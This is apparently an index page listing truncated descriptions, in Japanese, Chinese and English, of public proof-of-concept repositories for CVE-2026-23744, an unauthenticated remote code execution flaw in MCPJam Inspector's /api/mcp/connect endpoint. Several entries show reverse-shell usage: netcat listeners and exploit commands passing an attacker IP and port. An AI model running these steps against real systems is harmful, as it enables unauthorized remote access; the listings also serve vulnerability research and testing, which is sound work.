CVE-2026-23744

CVE-2026-23744 MCPJam inspector リモートコード実行: Proof Of Concept POC の使用方法: root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...

CVE-2026-23744

CVE-2026-23744: @mcpjam/inspector における認証なしリモートコード実行 免責事項: このリポジトリおよび関連スクリプトは、許可されたセキュリティ評価、ペネトレーションテスト、セキュリティ研究、および教育目的の分析のみを目的としています。明示的な書面による同意なしにシステムを不正にテストすることは違法であり、固く禁止されています。著者は、本資料の誤解または誤用に対して一切の責任を負いません。 脆弱性の概要 プロパティ| 詳細 ---|--- CVE ID| CVE-2026-23744 CVSS スコア| 9.8 Critical 脆弱性クラス|...

mcpExec

mcpExec は、脆弱な MCPJam Inspector インストールの URL を用いて CVE-2026-23744 を悪用し、リバースシェルを取得するツールです。 インストール root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.p...

mcpjam-cve-2026-23744-validator

MCPJam Inspector 認可済みセキュリティバリデータ 脆弱なMCPJam Inspectorデプロイメントに影響するCVE-2026-23744 のための制限された概念実証バリデータです。 このプロジェクトは、以前に開示されたCVE-2026-23744のための独立した非破壊的な検証ツールです。元の脆弱性開示やエクスプロイトではありません。 このリポジトリは、自身が所有する、または明示的な書面による評価権限を持つシステムを検証するセキュリティ専門家を対象としています。 重要な注意事項 このバリデータは、対象のMCPJam...

CVE-2026-23744-PoC

描述 MCPJam inspector 是面向 MCP 服务器的本地优先开发平台。1.4.2 及更早版本存在远程代码执行（RCE）漏洞，攻击者可发送精心构造的 HTTP 请求，触发 MCP 服务器的安装，从而导致 RCE。由于 MCPJam inspector 默认监听 0.0.0.0 而非 127.0.0.1，攻击者可通过简单的 HTTP 请求远程触发 RCE。1.4.3 版本已包含修复补丁。 受影响版本 漏洞来源| 受影响版本| 已修补版本 ---|---|--- @mcpjam/inspector| 'id /tmp/mcpjampwned.txt' 截图 !\Pasted ima...

CVE-2025-49596-PoC

CVE-2026-23744-PoC CVE-2026-23744（1.4.2 より前の MCPJam inspector における RCE）の Linux ターゲット向け自動 PoC 使い方 root@kitploit: use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.com...

MCPJam Inspector - Remote Code Execution

MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - RCEエクスプロイト 脆弱性の説明 MCPJam Inspectorには、/api/mcp/connect エンドポイントに認証不要のリモートコード実行（RCE）脆弱性があります。この脆弱性により、攻撃者は悪意のあるMCPサーバー設定ペイロードを送信することで任意のコマンドを実行できます。 このエンドポイントは、serverConfig オブジェクトを含むJSONペイロードを受け入れ、そのオブジェクトには command と args 配列が含まれており、適切な検証やサニタイズなしでシステム上で直接実行されます。 影響を受けるバージョン...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 当 /api/mcp/connect 端点默认监听所有网络接口（0.0.0.0）且未能正确清理用户提供的传入 serverConfig JSON 对象中 command 和 args 参数的输入时，MCPJam Inspector 3. 启动漏洞利用 root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. 为了更好的使用体验，建议将终端升级为全功能终端，否则无法使用像 ctrl^c 这样的命令。 示例 仅限在受控环境中使用此漏洞利用程序...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

en kali linux - terminal 1 nc -lvnp 4444 en kali linux - terminal 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector リモートコード実行: 概念実証 POC MCPJam inspector 3. エクスプロイトを実行します root@kitploit: python3 exploit.py...

CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab このリポジトリは、CVE-2026-23744 に対する MCPJam Inspector の脆弱なビルドとパッチ適用済みビルドを比較 するための小さな Docker ラボです。 学習目的と公開セキュリティポートフォリオの構築を目的としています。セットアップが簡単で、明確な証拠とスクリーンショットを提供します。 ⚠️ 倫理 / 適用範囲 : 所有しているシステム、または明示的なテスト許可があるシステムでのみテストしてください。このリポジトリはローカルでの再現と文書化を目的としています。...

exploit-CVE-2026-23744

exploit-CVE-2026-23744 MCPJam Inspectorは、MCPサーバー向けのローカルファースト開発プラットフォームです。バージョン1.4.2（およびそれ以前）では、サービスがデフォルトで0.0.0.0（127.0.0.1ではなく）で待ち受けるため、攻撃者が細工したHTTPリクエストを送信してMCPサーバーをインストールし、リモートでコードを実行できるRCEの脆弱性が存在します。 実行方法: 1. 対応するポートとIPを設定する 2. 攻撃者マシン上でリスナーをセットアップする（例: "nc -lvnp 4444"、または任意の攻撃者ポート） 3. コマンド...

CVE-2026-23744

CVE-2026-23744 – 概念実証（PoC） このPoC内のPythonスクリプトは、MCPJam inspector（バージョン リスニングポートに置き換えてください 次に、別のシェルを開いてPoCを実行します: root@kitploit: cd CVE-2026-23744 python3 exploit.py 参照 MCPJam inspectorのHTTPエンドポイント公開によるRCE GHSA-232v-j27c-5pp6 MCPJam/inspector@e6b9cf9...

CVE-2026-23744-POC

説明 この脆弱性は、MCPJam Inspectorがデバッグおよび開発用に設計された内部APIエンドポイントを公開しているために存在します。これらのエンドポイントはユーザーが制御する入力を受け入れ、適切な検証やサニタイズを行わずに、それをシステムレベルのプロセス実行に直接渡します。 脆弱なエンドポイント（/api/mcp/connect）に細工したリクエストを送信することで、攻撃者はserverConfigオブジェクトを制御し、ホスト上で実行される任意のコマンドを指定できます。...

CVE-2026-23744

CVE-2026-23744 MCPJam Inspector ライブラリのインストール: pip install -r requirements.txt - 情報を確認するには python CVE-2026-23744 --help を使用 MCPJam inspector は、MCP サーバー向けのローカルファースト開発プラットフォームです。最新バージョン 1.4.2 以前はリモートコード実行（RCE）の脆弱性の影響を受け、攻撃者が細工した HTTP リクエストを送信することで MCP サーバーのインストールがトリガーされ、RCE に至る可能性があります。 この脆弱性は...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector の未認証 RCE MCPJam Inspector -i -p -m リバースシェルの例 ステップ 1 — リスナーを起動: root@kitploit: nc -lvnp 4444 ステップ 2 — エクスプロイトを実行: root@kitploit: bash python3 POC.py -u http://127.0.0.1:6274 -i 10.10.10.10 -p 4444 -m bash ペイロード方式 ターゲット上で busybox が動作しない場合は、他の方式を試してください:...

mcpjaminspector-unauth-rce

mcpjaminspector-unauth-rce CVE-2026-23744 MCPJam inspector = 1.4.2 におけるRCE 脆弱性の詳細 https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 使用方法 root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show this help message an...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE 漏洞利用 ⚠️ 免责声明 此工具仅用于授权的安全测试和教育目的。未经授权的使用是非法的。用户需对其行为承担全部责任。 📋 概述 此仓库包含针对 CVE-2026-23744 的概念验证利用代码，该漏洞是 MCPJam Inspector 版本 =1.4.2 中存在的未认证远程代码执行（RCE）漏洞。该漏洞的 CVSS 评分为 9.8（严重），表明存在网络攻击向量的高风险。...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector の認証不要のリモートコード実行 RCE CVE-2026-23744 の認証不要リモートコード実行 PoC。MCPJam Inspector 1.4.2 以前では、/api/mcp/connect を通じて、攻撃者が制御する MCP サーバーコマンドを認証なしで起動できる機能が公開されています。 許可されたテストおよび研究目的に限ります。自分が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 機能 root@kitploit: HTTP POST - /api/mcp/conne...